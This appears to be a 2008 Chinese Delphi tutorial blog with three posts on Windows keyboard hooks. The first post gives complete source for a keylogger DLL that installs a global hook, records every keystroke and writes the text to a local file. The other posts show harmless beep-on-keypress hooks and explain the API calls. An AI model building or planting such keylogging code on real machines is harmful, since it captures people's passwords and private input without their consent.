IT博客-学好delphi-随笔分类-delphi使用钩子函数

学了钩子,我们来加深一下,自己写键盘记录

小叶子 — Wed, 12 Nov 2008 16:58:00 GMT

先来写DLL

library Help;
uses
Windows,
Messages,
SysUtils;
var
KeyHook: HHook;
text1:string;
function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
_KeyPressMask = $80000000; //键盘掩码常量
var
i : byte;//键盘上的键值
pp:string;//记录的字符放入PP
vFilePath:string; //写入的文件路径
f:TextFile; //写入的文件

begin
   if ((lParam and _KeyPressMask) = 0) then
   {按下键与$80000000取and值,二进值是1000....这个表达式几乎永远成
   立,因为只有($80000000and$80000000)才等于0}
   begin
   for i:=8 To 222 do
     begin
      if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8 :   {loggedkeys := loggedkeys +'[BACKSPACE]'}pp:=copy(pp,0,length(pp)-1) ;
    // 9 : pp:=pp+' ';
   //   13 : pp:=pp+#13#10; //Enter
   //   17 : pp:=pp+' ';
   //   27 : pp:=pp+' ';
      32 :pp:=pp+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
   //   33 : pp := pp + ' ';
   //   34 : pp := pp + ' ';
   //   35 : pp := pp + ' ';
   //   36 : pp := pp + ' ';
      37 : pp := pp + ' ';
   // 38 : pp := pp + ' ';
      39 : pp := pp + ' ';
//     40 : pp := pp + ' ';
//     44 : pp := pp + ' ';
//     45 : pp := pp + ' ';
//      46 : pp := pp + ' ';
      145 : pp := pp + ' ';
      48 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+')'
           else pp:=pp+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'!'
           else pp:=pp+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'@'
           else pp:=pp+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'#'
           else pp:=pp+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'$'
           else pp:=pp+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'%'
           else pp:=pp+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'^'
           else pp:=pp+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'&'
           else pp:=pp+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'*'
           else pp:=pp+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'('
           else pp:=pp+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then//大小写指示灯亮着
              if GetKeyState(VK_SHIFT)<0 then //shift已经按下
                 pp:=pp+LowerCase(Chr(i)) //a..z //所以按出的字母是小写
              else
                 pp:=pp+UpperCase(Chr(i)) //A..Z //反之大写
          else
              if GetKeyState(VK_SHIFT)<0 then
                  pp:=pp+UpperCase(Chr(i)) //A..Z
              else
                  pp:=pp+LowerCase(Chr(i)); //a..z
          end;
      96..105 : pp:=pp + inttostr(i-96); //Numpad 0..9
      106:pp:=pp+'*';
      107:pp:=pp+'&';
      109:pp:=pp+'-';
      110:pp:=pp+'.';
      111:pp:=pp+'/';
      144 : pp:=pp+'[Num Lock]';
      112..123: //F1-F12
          pp:=pp+'[F'+IntToStr(i - 111)+']';
      186 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+':'
            else pp:=pp+';';
      187 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'+'
            else pp:=pp+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'<'
            else pp:=pp+',';
      189 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'_'
            else pp:=pp+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'>'
            else pp:=pp+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'?'
            else pp:=pp+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'~'
            else pp:=pp+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'{'
            else pp:=pp+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'|'
            else pp:=pp+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'}'
            else pp:=pp+']';
      222 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'"'
            else pp:=pp+'''';

      end;
         text1:=text1+pp;
         vFilePath:='c:\test.txt ';
         AssignFile(f,vFilePath);
         ReWrite(f);
         writeln(f, text1);
         closefile(f);

end;
end;
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;

procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
end;
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
end;

exports
HookOn,HookOff; //两个导出函数
begin
end.

按ctrl+f9纺译出help.dll

第二步是就调用,我们尽量用动态调用
在新建窗体上加上两个Button,用来安装和卸载
为了少放代码,我只放实现部分,上面的uses部分是系统默认的
implementation

{$R *.dfm}
type
tpro=procedure;stdcall;
var
had:thandle;
sethok,unhok:tpro;
procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('help.dll');
sethok:=getprocaddress(had,'HookOn');
unhok:=getprocaddress(had,'HookOff');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
freelibrary(had);
end;

end.
上面API函数在上一节中讲过了

下面注明一下,在help.dll中有一些没见过的API函数,我查了些资料,尽可能说明白点
         GetAsyncKeyState(i)=-32767
         copy(pp,0,length(pp)-1)
         GetKeyState(VK_SHIFT)<0
         GetKeyState(VK_CAPITAL))=1
         LowerCase(Chr(i)
         UpperCase(Chr(i)
一.GetAsyncKeyState():判断函数调用时指定虚拟键的状态

-32767二进制:1000 0000 0000 0001
返回值 Long，自对GetAsyncKeyState函数的上一次调用以来，如键已被按过，则位0设为1；否则设为0。如键目前处于按下状态，则位15设为1；如抬起，则为0
GetAsyncKeyState(i)=-32767整体意思已经假设所有按按过,最低位置1,并且最高位也为1说明某键正处于按下状态,才出来这个数1000 0000 0000 0001,或者说-32767
二.copy()举例子说下吧
const
s='i love delphi';
var
ss:string;
begin
ss:=copy (s,3,4);
end;//   这时ss的值是'love'
三.GetKeyState():检查虚拟键的DOWN状态
函数原型：SHORT GetKeyState（int nVirtKey）；
         GetKeyState(VK_SHIFT)<0 :shift被按下
         GetKeyState(VK_CAPITAL))=1:caps lock,大小写指示灯亮了
写个判断按下还是没有按下大小锁定键的例子:
begin
if GetKeyState(VK_CAPITAL)=1 then
showmessage('按下了')
else
showmessage('没按下');

四.    LowerCase(Chr(i):把字母转成小写
         UpperCase(Chr(i):把字母转成大写

说这些也许是没用,只希望你了解得更深一些

小叶子 2008-11-13 00:58 发表评论

钩子２（系统级钩子）

小叶子 — Wed, 12 Nov 2008 10:54:00 GMT

接着线程级那些代码来做，上程序只有在本程序内按字母Ａ才会发声，只为是线程级的，现在做的是系统级，只要按上钩子，无论在哪按Ａ都会发声

分两步:
一、建立 DLL, 并在 DLL 实现钩子的设置、释放和钩子函数;
二、再建一个工程调用测试.
先写个dll
library key_a;
uses
SysUtils,
Windows,
messages,
Classes;

{$R *.res}
var
hok:hhook;
function keyb(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
begin
if wparam=65 then
       messagebeep(0);//按Ａ发声
result:=callnexthookex(hok,ncode,wparam,lparam);
end;
procedure sethok;stdcall;
    begin
    hok:=setwindowshookex(wh_keyboard,@keyb,hinstance,0);
    end;
procedure unhok;stdcall;
   begin
   unhookwindowshookex(hok);
   end;

exports
sethok,unhok;

begin
end.
按Ctrl+F9 编译，生成key_a.dll

调用key_a.dll文件
新建窗体，加两个button,一个用来安装，另个用来卸载
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
procedure sethok;stdcall;external 'key_a.dll';
procedure unhok;stdcall;external 'key_a.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
end;

end.

上面调用是静态调用，下面说动态调用
主是要用ＡＰＩ来动态调用
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

var
Form1: TForm1;

implementation

{$R *.dfm}
{要先要定义和 DLL 中同样参数和返回值的的过程类型，
万一前辈用的函数类型}
type
tfun=procedure;stdcall;
var
had:thandle;
sethok,unhok:tfun;

procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('key_a.dll');
sethok:=getprocaddress(had,'sethok');
unhok:=getprocaddress(had,'unhok');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
FreeLibrary(had);
end;

end.

函数说明：
LoadLibrary（dll名字）载入dll并返回一个句柄
getprocaddress（上面的句柄，dll里面的函数）得到dll里面函数的入口地址

小叶子 2008-11-12 18:54 发表评论

钩子１（线程级的钩子）

小叶子 — Wed, 12 Nov 2008 09:26:00 GMT

譬如我们用鼠标在某个窗口上双击了一次, 或者给某个窗口输入了一个字母 A;
首先发现这些事件的不是窗口, 而是系统!

钩子分两种：系统级的全局钩子
线程级的钩子.
钩子使用到的函数有三个：
设置钩子: SetWindowsHookEx
释放钩子: UnhookWindowsHookEx
继续钩子: CallNextHookEx

下面是一个例子：（按字母Ａ就会发出＇咚，咚＇的声音，测试请打开音箱）
在窗体上加上两个button组件
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

var
Form1: TForm1;

implementation

{$R *.dfm}
//在程序内部定义钩子函数
var
hok:hhook;
function keyb(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
begin
if wparam=65 then beep;//按Ａ发声
result:=callnexthookex(hok,ncode,wparam,lparam);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
hok:=setwindowshookex(wh_keyboard,@keyb,0,getcurrentthreadid);//安装钩子
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhookwindowshookex(hok);//卸载钩子
end;

end.
函数讲解
setwindowshookex(
            idHook: Integer;钩子类型
            lpfn:TFNHookProc;函数指针，加＠就可以
            hmod: HINST;包含钩子函数的模块(EXE、DLL)的句柄
            dwThreadId: DWORD ；关联线程，不是过进程
　　　　　　　）
参数四 dwThreadId : 在设置全局钩子时这个参数一般是 0, 表示关联所有线程; 本例是线程级　　　　　　　　　　            的钩子, 所以是GetCurrentThreadId.
　　　　getcurrentthreadid函数是获取当前进程一个唯一的标识符
　　　　GetCurrentThreadId获取当前线程一个唯一的线程标识符

参数三 hmod: 是模块实例的句柄, 在 EXE 和 DLL 中都可以用 HInstance 得到当前实例的句柄; 直接用 API 也可以: GetModuleHandle(nil).
　　　　handle，句柄，说明了变量的性质　　而HInstance指的是对象的实例　

参数二　　　用＠或addr()加函数名就可以

参数一　　钩子类型, 共有 14 种选择，我了解还少，就不说了，你们可以参考别的资料

小叶子 2008-11-12 17:26 发表评论